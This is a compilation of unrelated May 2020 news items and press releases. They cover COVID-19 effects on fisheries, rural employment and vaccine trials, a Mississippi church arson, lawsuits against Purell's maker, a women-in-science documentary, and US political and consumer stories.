Tiffany Trump graduates from law school President Donald Trump on Wednesday tweeted his congratulations to Tiffany Trump, the fourth of his five children, in support of her graduation from law school. Tiffany Trump took part in virtual commencement ceremonies, along with the rest of the class of 2020, from Georgetown Law School on Saturday.

Johnson & Johnson will stop selling talc-based baby powder Johnson & Johnson is abandoning a product that it may be most identified with and has been selling for more than 100 years  talc-based baby powder.

They bought a $1 house in Italy, then Covid-19 struck (CNN)  When Italian towns began offering houses for sale for little more than $1, they inspired legions of dreamers to take a gamble on moving to a remote corner of Italy. Although spending a few thousand dollars extra on renovating the property was usually part of the deal, it was sweetened by the prospect of a new life in an idyllic spot in a beautiful country.

Watfords Adrian Mariappa confirms coronavirus; NGolo Kante misses training Watford defender Adrian Mariappa says he is one of three people who tested positive for coronavirus at the club. On Tuesday, it was announced there had been six positive tests across three Premier League clubs. Two staff at Watford and Burnley assistant manager Ian Woan also tested positive, while the two others at a third club have not yet been revealed.

Malaria pill trialled to prevent coronavirus A trial to see whether two anti-malarial drugs could prevent Covid-19 has begun in Brighton and Oxford. Chloroquine, hydroxychloroquine or a placebo will be given to more than 40,000 healthcare workers from Europe, Africa, Asia and South America. All the participants are staff who are in contact with Covid-19 patients.

Cyclone Amphan devastates Indias Kolkata city The eastern Indian city of Kolkata has been devastated by a powerful cyclone. Cyclone Amphan made landfall in eastern India and Bangladesh on Wednesday, killing at least 15 people as it lashed coastal areas with ferocious wind and rain. Many of Kolkatas 14 million people are without electricity and communications have been disrupted.

Liverpool: Manager Jurgen Klopp says return to training like first day at school Liverpools return to non-contact training felt like the first day at school, says manager Jurgen Klopp. The Premier League leaders worked in small groups at their Melwood training ground on Wednesday for the first time since the coronavirus lockdown. The English top flight hopes to resume in June, with 92 fixtures left to play, having been suspended since 13 March.

Twitters no replies feature could cause problems for Trump Trump was basically Obamas reply guy throughout the 2010s, so its only fitting that he wont be able to take advantage of a new Twitter feature intended to curb his own comment trollslegally, at least. Twitter is testing an ability that lets users limit who can reply to their tweets.

Apple finally released iOS 13.5. Heres why you should update. Its new iOS day, and that means its time to update. Apple released the public version of iOS 13.5 on Wednesday, making a host of changes that were previously only available to developers in the beta release finally accessible to the wider public.

Chromes new update puts a premium on privacy and safety controls Google Chromes back with a new update that should interest users who value privacy as well as those with messy tabs. According to Googles official Chrome blog, Chrome 83 primarily brings about a bunch of new privacy controls that may not be super exciting to most people, but could please folks who pay a lot of attention to which websites collect data on them.

You simply must watch this moving reunion of a man and his donkey after quarantine There is beauty in this mixed-up, messed-up quarantined world, dammit. Just listen to this sweet mans voice tremble as he repeatedly asks his donkey, Que pasa? (Thats whats up? in Spanish.) The entire video is in Spanish but honestly, it doesnt matter if you know the language, this whole scene is universal.
Small-scale fishing communities suffer as industrial fleets plunder the seas

by Nick Clark

May 22,2020 | Source: Al Jazeera

It was the product that powered the Vikings, that went on to make Norway rich long before oil, and is still the source of a multimillion-dollar industry: fish, specifically cod, or skrei, to be precise, the name derived from Old Norse for "the wanderer". From January to April, these fish return in their millions to the Arctic waters off the Lofoten Islands to spawn. And for thousands of years, humanity has cashed in on this bountiful act of nature.



I was reminded of this story by one of those Facebook alerts, a picture from these rugged, breathtaking islands from our shoot there this time last year. We filmed the centuries-old tradition of catching, drying and selling the resulting delicacy, as far afield as Italy and Nigeria.



The fishery is a rarity in that it is both sustainable and profitable. But this year it has taken a predictable hit, with a sharp fall in demand. And it is the same the world over. For fishing communities from the Philippines to Peru, COVID-19 has been a disaster.



There are around 40 million fishers worldwide, the vast majority of whom live in developing countries and depend on the money they make from their catch to put food on their table. The UN's body on trade, UNCTAD, said fish exports for 2020 are expected to drop by at least a third, with restaurants and hotels still closed the world over. Incomes in some fishing communities have all but evaporated.



Shrimp, for example, have been selling at 10 percent of their normal price in northern Spain. In the Mediterranean, the whole catch has collapsed by 80 percent. Maldivian tuna exports to Europe have stopped. Argentina's fish and seafood exports to Spain, Italy and China have fallen by 30 percent since the outbreak.



Of course, the fish could do with a breather. Around a third of global stocks are currently below sustainable levels. The COVID effect offers our oceans, seas and rivers an opportunity to replenish, to a degree, for a time.



But will there be greater, longer-lasting benefits - a chance to target the industrial fleets that vacuum up fish in unimaginable quantities and to bolster more sustainable fishing?



"Now is the time for governments to rethink how they support fisheries sectors," said David Vivas, of UNCTAD. "And to shift from subsidies that enhance the capacity of the industrial fleets, in favour of more support for responsible small-scale fisheries."



It is clear industrial fleets need to be restrained. As we speak, some vessels have increased illegal activities, emboldened by less surveillance of the oceans during the pandemic.



"There is no doubt industrial fishing vessels are taking advantage of this lack of oversight to further plunder the seas," said Will McCallum, head of oceans at Greenpeace. "And all the while small-scale fishermen are not able to provide for their families."



Will told me how an armada of more than 100 fishing vessels recently illegally plundered south Atlantic waters close to Argentina.



The vessels, mostly from East Asia, waited until nightfall, shut down satellite tracking systems and then moved into the squid-rich waters of Argentina's exclusive economic zone. Each vessel was capable of taking 50 tonnes a day, which could, in fewer than three weeks, exceed the Argentinian fleet's quota for the entire season.



Such practices clearly threaten fish stocks, livelihoods, food supplies and the overall health of our oceans. A COVID mini-break for the fish means nothing while industrial vessels deplete our oceans' resources.



And think, around about now in Arctic Norway, the skrei, spawning done, are heading back to the Barents Sea, completing their ancient cycle of nature. Long may it last.

 2020 Al Jazeera Media Network

Theme(s): Communities and Organisations.
The burning of a church in northern Mississippi this week is being investigated as arson because of a spray-painted message at the scene that seemed to criticize the churchs defiance of coronavirus restrictions.

First Pentecostal Church had sued the city of Holly Springs, which is about an hour southeast of Memphis, Tenn., arguing that its stay-at-home order had violated the churchs right to free speech and interfered with its members ability to worship.

After firefighters put out the blaze early Wednesday, police found a message, Bet you stay home now you hypokrits (sic), spray-painted on the ground near the churchs doors, according to Maj. Kelly McMillen of the Marshall County Sheriffs Department.

A photograph of the graffiti also appears to show an atomic symbol with an A in the centre, which is sometimes used as a logo for atheist groups.

Gov. Tate Reeves of Mississippi said on Twitter that he was heartbroken and furious about the fire.

McMillen said police had found a can of white spray paint and a flashlight at the scene. He said that no suspects had been identified but that investigators  including from the Bureau of Alcohol, Tobacco, Firearms and Explosives and potentially the FBI  would be going through the scene Friday.

Well probably be there till dark tomorrow night because were going to have to go through each and every piece of it, he said.

After growing frustration with the citys executive orders, the first of which was issued March 23, the churchs pastor, Jerry Waldrop, confronted city officials at a demonstration at a local Walmart. The church also filed a lawsuit against the city in April.

A lawyer for the church said in the lawsuit that police had cited Waldrop on Easter for holding a service in violation of the citys order and had later shut down a Bible study.

In a blistering opinion filed last week in response to the lawsuit, Judge Michael Mills wrote that he feared that the church was proceeding in an excessively reckless and cavalier manner and with insufficient respect for the enormity of the health crisis which the COVID-19 pandemic presents.

The judge declined to block the citys stay-at-home order, as the church had requested, and noted that the city had, in a subsequent executive order, allowed for drive-in church services.

On Friday, Nick Fish, president of American Atheists, a group that uses the logo found at the scene, strongly condemned the church burning, calling it a heinous act of destruction.

Im disgusted that anyone would associate a symbol of our community with something so incompatible with our values as atheists, Fish said in a statement.

Arguments over whether religious services can be held in person have become increasingly contentious in recent weeks.

Some churches in Minnesota this week said they would resume services in defiance of the governors orders. That followed a federal judges ruling in North Carolina that allowed for indoor religious gatherings after the governor said they were largely banned. In California, five lawyers with the Justice Department said in a letter to the governor that the states restrictions to combat the virus discriminated against religious institutions, and more than 1,200 pastors signed a declaration protesting the restrictions.

McMillen said the fire had shocked Holly Springs, a city of fewer than 8,000 people.

Hopefully, with the Lords help, he said, we can get to the bottom of this as quickly as possible.
With major funding from the Heising-Simons Foundation and Alfred P. Sloan Foundation, the film Picture a Scientist is breaking new ground by virtually launching in theaters across North America on June 12th. The independent documentary follows a groundswell of researchers who are writing a new chapter for women scientists. Picture a Scientist will show through June 26 in select theaters nationwide, which are each providing exclusive links to the full film online.

Featuring geologist Jane Willenbring, chemist Raychelle Burks, and biologist Nancy Hopkins, as well as key social scientists working to understand and reduce gender discrimination in the sciences, Picture a Scientist brings diversity in science into sharp view at a critical time. The current pandemic is a call to action for scientists to work together globally, with a multitude of different perspectives, to defeat COVID-19. For too long, women and other minorities in science have been left out or driven out, stymied by a system of harassment, discrimination, and general bias. "Any impediment to advancing minorities in science is an impediment to science itself," says Sharon Shattuck, co-director of Picture a Scientist.

Scheduled to premiere at the postponed 2020 Tribeca Film Festival, Picture a Scientist paints a nuanced, emotional but unflinching portrait of the struggles women in science have faced, in recent decades up to today. The film challenges audiences of all backgrounds and genders to question their own implicit biases and move toward change.

"The issues that disproportionately affected women in STEM two decades ago unfortunately still exist today. By sharing these experiences, we can all improve and collectively change the climate and culture in STEM for the better," says Cyndi Atherton, Director of the Heising-Simons Foundation's science program. "What we get from this film, and from these women telling their critical stories, is something that has the potential to change the world."

"We are proud to support this important story about the pervasive harassment of women in STEM," says Doron Weber, Vice President and Program Director at the Alfred P. Sloan Foundation. "In addition to ongoing funding for Science on Screen, the Foundation provided significant production support for this compelling film that will hopefully bring a critical but underappreciated issue to a wider public."

The film's award-winning directors Ian Cheney (THE CITY DARK, THE SEARCH FOR GENERAL TSO, THE MOST UNKNOWN) and Sharon Shattuck (FROM THIS DAY FORWARD, ANIMATED LIFE SERIES), along with the film's three star scientists, will participate in a virtual Q&A on June 17th made available through the Coolidge Corner Theater in Massachusetts. Radiolab producer and guest host Molly Webster will moderate the discussion. The virtual launch will kick off community screenings, and a series of online conversations with scientists worldwide. The film is also part of the Sloan Foundation's Science on Screen grant program. It was Executive Produced by Amy Brand.

"As we see today, science requires constantly challenging our own assumptions," Shattuck says. "And that must be true not only for the discoveries and breakthroughs but also for the people who are encouraged to make them."

###

To request a screening, contact producer Manette Pottle: pictureascientist@gmail.com. Learn more on the film's website.

ABOUT THE FUNDING

Principal funding was provided by the Heising-Simons Foundation. A family foundation based in California, the Heising-Simons Foundation works with its many partners to advance sustainable solutions in climate and clean energy, enable groundbreaking research in science, enhance the education of our youngest learners, and support human rights for all people. The goal of the Foundation's women in physics and astronomy grantmaking is to increase the number of women in these fields, both in colleges and in academic and research careers in the United States.

Major funding for the film was also provided by the Alfred P. Sloan Foundation, a non-profit philanthropy that makes grants for original research and education in science, technology, and economics. Sloan's program in Public Understanding of Science and Technology supports books, radio, film, television, theater, and new media to reach a wide, non-specialized audience and to bridge the two cultures of science and the humanities. Its nationwide film program supports twelve film schools and six screenplay development partners and has resulted in over 600 film projects and over 25 feature films.

This theatrical release is part of the ongoing Science on Screen partnership between the Coolidge Corner Theater and the Sloan Foundation. Since its launch in 2011, the program has awarded 237 grants to 86 nonprofit cinemas across the country. Science on Screen features classic, cult, science fiction, and nonfiction films provocatively matched with presentations by experts who discuss scientific, technological, or medical issues raised by each film. The program aims to inspire in audience-members an increased appreciation for science, technology, engineering, and mathematics.

Additional funding for the film production was provided by Nancy Blachman, Anonymous, Sundance Institute Documentary Film Program with support from Sandbox Films, The New York State Council on the Arts, The Wonder Collaborative, Chicken & Egg Pictures, The Educational Foundation of America, Erica Brand and Adam Brand, The Benevity Community Impact Fund, Mar Hershenson, Kate Korsh, and Jennifer Kane.

ABOUT THE FEATURED SCIENTISTS

Raychelle Burks, Ph.D. is a professor of analytical chemistry at American University in Washington, D.C., formerly at St. Edwards University in Austin, TX. Her research focuses on developing low-cost colorimetric sensors for detecting chemicals of forensic interest, including explosives and regulated drugs. As a science communicator, Burks has appeared on the Science Channel's Outrageous Acts of Science, the American Chemical Society's Reactions videos, Royal Society of Chemistry podcasts, and at genre conventions such as DragonCon and GeekGirlCon. Burks was awarded the 2020 American Chemical Society Grady-Stack award for excellence in public engagement.

Nancy Hopkins, Ph.D. is a molecular biologist and professor of biology at the Massachusetts Institute of Technology. She is known for her research identifying the role genes play in longevity and cancer predisposition in adult fish, as well as for her work promoting equality of opportunity for women scientists in academia. She is a member of the National Academy of Sciences, the Institute of Medicine of the National Academy, and the American Academy of Arts and Sciences.

Jane Willenbring, Ph.D. is a geomorphologist and professor of geology at the Scripps Institution of Oceanography, and director of the Scripps Cosmogenic Isotope Laboratory. Willenbring's research examines the evolution of the Earth's surface, especially how landscapes are affected by tectonics, climate change, and life on Earth. She is a 2018 Geological Society of America Fellow, and the recipient of the Antarctica Service Medal and the National Science Foundation CAREER Award.
Everyones favorite hand sanitizer may have to stand trial for claiming it can stop you from getting sick.

A trio of lawsuits has hit Purells maker, Gojo Industries Inc., since the World Health Organization declared the coronavirus outbreak a public health emergency on Jan. 30. The coveted alcohol gel doesnt live up to its promises, according to the suits.

The litigation is brewing as U.S. states begin to ease their social-distancing lockdowns  and as employers, preparing to greet anxious returning workers and customers, are desperate for the germ-killing liquid. Gojo, of Akron, Ohio, is already working round the clock to meet the demand for its star product, which has been a rare sight on store shelves in the past few months.

The consumers in the three suits Gojo faces are asking to represent nationwide classes of Purell purchasers who say they were misled by boasts that the product prevents illness by killing germs. The suits, filed in federal courts in Los Angeles and New York, seek orders barring the company from making unsubstantiated health claims, plus unspecified payments. A federal judge in Brooklyn is holding a status conference by phone on June 25.

Gojo said the complaints pending against it are without merit. Three other suits against the company were withdrawn without explanation.

Before the coronavirus outbreak in the U.S., the FDA faulted the company for saying Purell is effective in preventing infection by various viruses and that Purell can reduce student and teacher absenteeism due to contagious illnesses.

The suits follow a warning letter to Gojo from the Food and Drug Administration on Jan. 17, days before the first coronavirus infection in the U.S. was announced. The letter faulted the company for saying on its websites that Purell is effective in preventing infection by Ebola, MRSA, norovirus, flu, the fungus Candida auris and VRE, a drug-resistant bacterium. The FDA also said Gojo made unsupported assertions that Purell can reduce student and teacher absenteeism due to contagious illnesses.

The FDA letter was not related to the safety or quality of our products, or our manufacturing processes, Gojo said in a statement in January. Our products can and should continue to be used as part of good hand hygiene practice, to reduce germs.

Gojo has made changes to its website and social media platforms in response to the warning, it said.

Specific Claims

Companies are allowed to make general, even grandiose, promises about the superiority of their products, said John Sullivan, a lawyer with Buchanan Ingersoll & Rooney. But a company cant make more specific claims unless theyre  well, true.

Sullivan pointed to the 2003 Christmas movie Elf, in which the naive Buddy, played by Will Ferrell, takes a sign that says Worlds Best Cup of Coffee literally.

You did it! Congratulations! the man-size elf shouts joyously at puzzled coffee shop employees. Worlds Best Cup of Coffee. Great job, everybody!

Thats legally permissible fluff, said Sullivan. What isnt legal is to claim, for example, that the coffee is 99.9% made from beans harvested in Colombia if it isnt.

Consumer demand for hand sanitizer has skyrocketed on fears of the virus. The U.S. Centers for Disease Control and Prevention recommends that people use sanitizers that are at least 60% alcohol, such as Purell and Vi-Jon Inc.s Germ-X, when soap and water arent available, and Americans have been furiously stockpiling the stuff.

Sales of hand sanitizer were up 239% in the week that ended March 28 from the same period a year earlier, and up 378% in the week that ended May 2, according to data from market research firm Nielsen.

The products are almost out of stock at many mass retailers, with rampant price-gouging on Amazon and EBay. In some cases, vendors raised the price of a two-pack of two-ounce Purell bottles, which normally sells for $10, to $400. Dwindling inventories have even prompted consumers to produce their own sanitizers from vodka or rubbing alcohol.

Now its up to the judges to decide whether one or more of the cases can go forward as class actions, on behalf of many consumers, rather than just for the handful of plaintiffs.

Kay Van Wey, a Dallas lawyer who represents people harmed by medical malpractice and defective drugs, called class actions a good consumer safety tool.

Individuals are able to band together to call out deceptive or fraudulent business practices, Van Wey said. Even though each individual consumer may not have incurred large damages, the collective damages usually amount to a figure that makes it unprofitable for corporations to profit off of their deceit.

Copyright 2022 Bloomberg.

Topics Lawsuits Claims USA
Source: Xinhua| 2020-05-21 23:55:25|Editor: huaxia

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ADDIS ABABA, May 21 (Xinhua) -- Djibouti's Ministry of Health on Thursday announced 219 new COVID-19 cases, bringing the total number of confirmed cases in the Horn of Africa nation to 2,047 as of Thursday afternoon.

The Djiboutian Ministry of Health, in a statement issued on Thursday disclosed that from a total of 1,100 people who were tested over the last 24 hours, some 219 of them were tested positive for the virus.

The ministry also announced that three of the COVID-19 patients recovered over the past 24-hours period.

Djibouti has so far conducted a total of about 21,156 COVID-19 tests, according to the Djibouti Ministry of Health.

Djibouti reported its first COVID-19 case on March 18.

The Red Sea nation, which lies on a key location connecting the Red Sea and the Gulf of Aden, hosts a number of foreign military bases.

Meanwhile, the Djibouti Ministry of Health on Thursday reported one more death due to the COVID-19 pandemic, as the total number of deaths in the Horn of Africa country climbed to ten. Enditem
As many as 3.5 million new workers have sought jobs under MGNREGA since April 1, the highest number of applications in a decade, but there may not be enough work to engage them all, according to government data and officials in multiple states.

According to the Mahatma Gandhi National Rural Employment Guarantee Scheme website, around 3.5 million new job applications have come in the current financial year since April 1 till May 20. For the same period in the last fiscal, the new applicants were about 1.8 lakh.

A clear indication of rural economic distress is that in the entire 2019-20, the applications for new jobs were about 1.5 million, less than half of what has been received in mere 50 days of the current financial year.

The national data also showed that the cumulative job applications as on May 20 stood at 43.3 million people and only half of them have been provided work so far.

The maximum increase in demand for jobs cards has been from Uttar Pradesh, Bihar, Rajasthan, Chhattisgarh and Odisha, states which have received the most number of migrant workers from various parts of the country.

Seeing the surge in demand, many of the state governments have directed district authorities to create a pool of additional work and get approvals within the next fortnight.

Under MGNREGA, district authorities are expected to create a work budget for the year on the basis of the job applicants in February and March of the previous financial year.

Situation is different this year as demand for work started growing in April once the migrants started returning home, Sidharth Tripathy, Jharkhands special MGNREGA commissioner, said.

Rajasthans NREGA commissioner PC Kishan said normally there is a slight increase, three to 5%, in new job applications when the financial year starts.

This year, we have seen two lakh new job cards since April 1, which is equal to new job cards issued in the entire 2019-2020. This is not normal, Kishan said.

Nikhil Dey, who has worked on MGNREGA since the law came into force in 2005, said the number of new job applications received in the past two months normally comes in a year.

Apart from the migrants returning home, even locals are seeking job under NREGA because of lack of employment opportunities anywhere, Dey said.

State government officials said as there are not enough sanctioned works, there is a delay in providing employment to so many people.

Nobody had anticipated such a situation, Jharkhands Tripathy said and added they have been engaging MGNREGA workers in pre-monsoon works such as maintaining of ponds or digging of wells.

We have also taken additional road construction work where MGNREGA worker can be employed, he said.

Bihars rural development department secretary Arvind Kumar Chaudhary said the department has decided to employ MGNREGA workers for flood management works that have started from May first week.

Odisha would be using migrant workers, who have returned, in works to repairing the damage and rebuilding from Cyclone Amphan, apart from pre-monsoon works and for road construction.

The states bid to provide more work has got impetus from the central government, which has decided to give Rs 40,000 crore in addition to Rs 61,000 crore provided in the budget for 2020-21.

This, finance minister Nirmala Sitharaman said last week, will be the largest ever allocation for MGNREGA and would give a boost to the worlds biggest minimum social security programme that ensures minimum 100 days of work in a year and covers entire rural India.

We welcome the decision but around 15,000 crore will be used to clear pending amounts from the last financial year. The states need to create enough works to employ all those who have enrolled. If needed, MGNREGA workers can be used for agriculture purpose as there is a shortage of farm labourers, Reetika Khera, a development economist working with Indian Institute of Technology (IIT), Delhi, said.

MGNREGA, which has been decried in the past by some leaders for incurring wasteful expenditure, is now providing succour to migrant workers returning from cities.

I was working with a building construction company in Bilaspur town but due to lockdown the work stop hence I enrolled myself in MNREGA at my village in Ratanpur. At least I am doing some work and earning some money, Ratnakar Yadu, a resident of Chhattisgarhs Bilaspur district, said.

Kashiram Ahirwar, a 38-year-old resident of village Mau Bichhoda in Bundelkhands Tikamgarh district, returned his village with his wife and two children after losing his masons job in Bhind.

As no construction activity is going on and harvest season is also over here, my only hope is MGNREGA, he said.

Like him, Balveer Ahirwar, 23, of village Ladwari in the same district and his brother came back after losing their job due to lockdown. They reached from Delhi on May 13, after a week-long journey.

We have no money left and five quintal wheat from my fathers farm also did not fetch enough money. I and my Ashok are pleading sarpanch to give us work. But, he says that works have not been sanctioned by the local office, he said.

Jabbar Ahmad, 43, who returned to Bihars East Champaran town from Surat, where he used to work in a cotton factory, is looking for a job under MGNREGA.

I am a trained worker for cotton factory but I am looking for a job under MGNREGA for instant relief, said Ahmad.

Shirsat Kapil Ashok, East Champaran district magistrate, said many trained people, including some contractual teachers, were asking for a scope to work under MGNREGA.

In some places, there have been reports of school teachers enrolling in the scheme for work.

As for the work provided under the scheme, the national MGNREGA website shows that Rajasthan emerged as the top state in the country with close to 210,000 new works issued in the past 45 days of this financial year.

We are focusing on the rural job guarantee scheme to provide financial security to rural populations in the current scenario. This has resulted in 24.31 lakh labour engaged in NREGA today, Sachin Pilot, Rajasthans deputy chief minister, said.

Chhattisgarh, which has employed 28.32 lakh people under the scheme, highest ever for the state, has decided that if needed more than 100 days work will be provided under the scheme.

We are clear if people want we would provide additional work under NREGA for workers in our state even if we have to pay from our own pocket, said state chief minister Bhupesh Baghel, who has already asked the Centre to increase the employment days in a year from 100 to 150 days.

Bhupesh Baghel also said collectors have been asked to ensure that migrants get work under MGNREGA.

Deepak Soni, Surajpurs collector, said after the quarantine period the workers are being provided work. MGNREGA workers in Chhattisgarh have never crossed 15 lakh mark.

Uttar Pradesh, which has more than half a million new job seeks, has asked districts officials to create new roasters to accommodate additional MGNREGA workers.

Providing them work at the same time would not be possible for all workers. We would provide them employment in a staggered manner so that more families can be covered in the social security scheme, a UP rural development department official, who did not want to be named, said.

(With inputs from state bureaus)

Top 5 states in terms of labour engagement on May 21

State Labour engaged (in lakhs)

Rajasthan 32.31

Uttar Pradesh 30.64

Chhattisgarh 28.32

Madhya Pradesh 22.82

West Bengal 18.42
Congress is zeroing in on final passage of a 2-year-old military aid bill for Israel. The Senate Foreign Relations Committee on Thursday unanimously voted to advance the United States-Israel Security Assistance Authorization Act, introduced by Sen. Marco Rubio, R-Fla. The legislation codifies the Barack Obama administrations 10-year, $38 billion memorandum of understanding with Israel into law.

Why it matters: The bill is a key priority for the American Israel Public Affairs Committee (AIPAC), which welcomed the Senate's action.

The legislation includes vital US security assistance to Israel, enhanced medical cooperation and more, AIPAC wrote on Twitter.

The bill also expedites the transfer of US precision guided missiles to Israel. Additionally, it extends Washingtons war reserve stockpile for Israel for five years.

But critics of the bill argue that it sets the groundwork for Congress to appropriate even more military aid to Israel in future years, going well beyond the annual $3.8 billion laid in the Obama-era agreement.

The memorandum of understanding was based on the understanding that the level of aid it established was a ceiling, not a floor; the bills seek to legislate the opposite, said Lara Friedman, the president of the Foundation for Middle East Peace.

Whats next: Thursdays committee vote paves the way for a full vote on the Senate floor, followed by a House vote. Not a single House lawmaker objected when the lower chamber passed a more expansive version of the bill last year by voice vote.

Know more: Bryant Harris reports on progressive Democrats growing chorus of calls to condition US military aid to Israel, particularly as Prime Minister Benjamin Netanyahu sets his sights on West Bank annexation as early as July.
LONDON  An experimental vaccine for COVID-19 under development at Oxford University hit a milestone Friday with researchers announcing it will be progressing to advanced stages of human trials.

It will be tested in 10,260 volunteers across the United Kingdom to determine how effective it is at preventing infection, the university said in a statement. If successful, it could be on the market as early as September, according to British-Swedish drugmaker AstraZeneca, which partnered with the university in April to manufacture and distribute the vaccine.

"We're thrilled," Adrian Hill, one of the researchers leading the project, told NBC News.

AstraZeneca received more than $1 billion from the U.S. Department of Healths Biomedical Advanced Research and Development Authority on Thursday.

Image: Professor Adrian Hill speaks to members of the media at The Jenner Institute in Oxford, England. (Eddie Keogh / Reuters file)

The company agreed to produce at least 400 million doses and secured total manufacturing capacity to produce 1 billion doses by the end of 2021, with first deliveries this September.

The Oxford study is one of the many racing to find an effective and safe vaccine for the coronavirus alongside efforts to contain the spread of the pandemic.

It uses a weakened version of a common cold virus that normally causes infections in chimpanzees but has been genetically modified so it can't replicate in humans.

The effectiveness of the vaccine is still to be determined. Earlier tests conducted in monkeys showed success in moderating the severity of the virus, but not preventing infection.

Researchers are still monitoring the first 1,000 volunteers who either received a dose or were part of the control group in the first phase of the current study to see if they develop antibodies or become infected with the coronavirus.

Government approval is now allowing researchers to move ahead with the second and third phases of testing, which will see more people across a wider age range  including older adults and children  tested. The second phase begins June 1 in the U.K. and researchers hope to launch clinical trials in the United States in the coming weeks.

Story continues

Health care professionals are among the volunteers in the trial because of their exposure to the virus.

On its chances of working, Hill said, "We still think they're fairly high but not guaranteed. But we're doing our best to show that it works over the next few months."

Download the NBC News app for full coverage of the coronavirus outbreak

Researchers hope to have results from the thousands of new participants by the end of August.

While the trials are moving quickly, Hill said, safety has not been compromised.

Although the prospect of a vaccine provides hope for bringing an end to the pandemic, Hill added that in the meantime people should continue to heed social distancing measures.

"Nobody really wants to get infected with this virus and there are lots of things you can do to reduce your chances of that," he added.
Washington

Since resuming their travel schedules, President Donald Trump and Vice President Mike Pence have focused on battleground states crucial to their re-election chances, staging official government events at a time when likely Democratic nominee Joseph Biden and his top surrogates say they are unable to safely return to the campaign trail.

Trump and Pence have used recent trips to thank factory and health care workers and set the stage for reopening the economy amid the coronavirus pandemic, but their itineraries have highlighted the political imperatives that have informed their response to the crisis.

On Thursday, Trump toured a Ford Motor Co. factory in Ypsilanti, Mich., that has been temporarily converted into a ventilator production facility. The visit came after he traveled to manufacturing plants in Phoenix and Allentown, Pa., over the past two weeks. On Wednesday, Pence visited a nursing home in Orlando, Fla., and had lunch with Florida Gov. Ron DeSantis, a Republican, at a local restaurant, and he also has traveled to Iowa, Minnesota and Wisconsin in recent weeks. Pence said he will return to Florida next week to attend a space launch, and DeSantis suggested Trump may make the trip, as well.

The president's trips, in particular, have taken on clear campaign overtones as he pushes for states to move beyond the pandemic and restart their economies despite continuing public health concerns and the rising death toll. Supporters have lined the streets to greet his motorcade as they hold American flags and Trump campaign signs, disregarding social distancing rules and outnumbering a smaller set of protesters.

Trump's campaign soundtrack played on the public-address system during his tour of the Owens & Minor medical supply plant in Allentown. At a Honeywell plant that was producing face masks in Phoenix, Trump invited a married couple he had met during a 2016 campaign rally to make brief remarks as he addressed the workers. And at the Ford factory, he held a "listening session with African-American leaders" that was composed of his supporters as he sat in front of a "Transition to Greatness" banner.

When he has stood in front of a lectern with the presidential seal at the events, Trump has delivered the campaign-themed message that he has done great things for the country, the economic damage done by the pandemic will fade quickly and that he is the one to deliver prosperity again.

"This country is poised for an epic comeback. This is going to be an incredible comeback. Watch. It's already happening," Trump told the audience at the Ford plant. He added: "I think we're going to do better the second time and it's very important that we win the second time or everything that we've done, including manufacturing jobs, all this it's going to be not in a very good position."

Democrats have criticized the trips and sought to portray them as reckless attempts to push for a return to normalcy that could worsen the outbreak.

"This was nothing more than a campaign trip for him," said Nancy Patton Mills, chair of Pennsylvania's Democratic Party, noting that Allentown remains in a code red, the most restrictive setting in the state's phased reopening system.

"We're all living our lives with caution because we don't want to get sick, and here comes Trump," she said. "Imagine what people would think if Biden all of a sudden came out visiting face mask factories, disturbing local police and first responders to protect him. It was in very poor taste."
A new app has been developed to help Australians struggling to pay rent to break their lease.

The Break Your Lease app, developed by businessman Richard Saville, 29, was launched in Australia and New Zealand on May 22.

Mr Saville developed the app after hearing his friends complain that wanted to break their lease but were unable to find anyone to take over.

He told Sunrise the app wasn't developed because of COVID-19 but it is 'perfect timing'.

The Break Your Lease app, developed by Richard Saville, was launched on Friday in Australia

'We have been able to help small businesses and people in commercial and residential tenancies,' Mr Saville said.

The app connects renters looking to break their lease with people looking to rent.

The start of the lease, how long is remaining on it and the rent are all included in the listing.

Jayne Caldwell and Quincy Hewitt moved into their apartment two months ago but found they rushed the decision and it wasn't big enough.

'Being able to find someone that can just take it over that the owners are happy with makes so much more sense than breaking the lease and paying it out,' Ms Hewitt said.

The app connects renters looking to break their lease with people looking to rent

Mr Saville said it was a long process to get the app off the ground and ready for market.

The app was launched for free in the Apple store in Australia and New Zealand this week.

There are plans to bring the app to the UK and the U.S. in June.

There are also plans to expand the app for leases on items cars, bikes and boats.
ALBANY  As the region gears up for whats forecast to be a beautiful three-day weekend, Capital Region leaders are urging people to avoid large gatherings, backyard get-togethers and many of the usual activities that typify Memorial Day weekend in America.

With the coronavirus pandemic still spreading in many parts of the world, including locally, the Albany region just this week got the authorization to begin a phased reopening of its economy. Actions people take this weekend, Albany County officials said, will determine whether the region can stay open. More importantly, they said, it will determine whether more people become sick and die.

I know a lot of people like to have barbecues, they like to come together  but weve got to do it a little bit differently this year, County Executive Dan McCoy said.

McCoy, an Iraq War veteran, reminded people that Memorial Day weekend is about honoring and remembering those who made the ultimate sacrifice so Americans can enjoy their freedoms.

I know a lot of people feel like their freedoms are being taken away because theyre sitting at home and being told they cant go out, they cant do this, they cant do that, he said. I can assure you the governor, myself, no one takes any pride in sitting here and saying I want you to stay home. But we want to protect the people, our constituents of Albany County and the Capital District.

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People can still go out, he and county health commissioner Elizabeth Whalen said Friday. But when they do, they should bring a mask and wear it when around other people, and socially distance as much as possible. They reminded people not to gather in groups larger than 10.

"I keep hearing from so many people, 'Im done with this, Ive had enough, Im over this,' " McCoy said. "But it hasnt gone away ... its still there and its going to continue to be there. So we need your help to do the right stuff. We want you to go out, have your mask in public, clean your hands and do the right thing."

Saratoga County officials also urged people on Friday to wear masks and distance themselves from others if they go out over Memorial Day weekend. They offered ideas for enjoying the holiday safely, such as going out for a hike, bike ride, or walk; arranging a picnic or backyard barbecue among members of a single household; going to a local drive-in movie theater, which are now open under stringent new guidelines; or urging the kids to make patriotic chalk art in the driveway to honor fallen soldiers.

Their urgings came as the eight-county region recorded another 61 cases of the virus overnight, as well as another six deaths. To date, Albany, Columbia, Greene, Rensselaer, Saratoga, Schenectady, Warren and Washington counties have recorded 240 deaths from the virus.

Albany County said it was informed Thursday of three deaths that occurred in early May at a private nursing home in the county. McCoy said they were reported to the state at the time, but not the county health department. The victims were a man in his 60s, and two women in their 80s. All three had underlying health conditions.

Columbia County reported another two deaths on Friday, including at least one resident of the Grand Rehabilitation and Nursing at Barnwell in Valatie. At least 25 of the countys 31 deaths so far have been residents of nursing homes. The Barnwell facility alone has lost 14 residents to the virus, according to county public health director Jack Mabb.

Greene County also reported another virus-related death overnight, but released no details about the victim.

Albany County officials on Friday also discussed their concern that residents between the ages of 20 and 29 continue to spread the virus throughout the community. That age group has the second most cases in the county, second only to 50- to 59-year-olds.

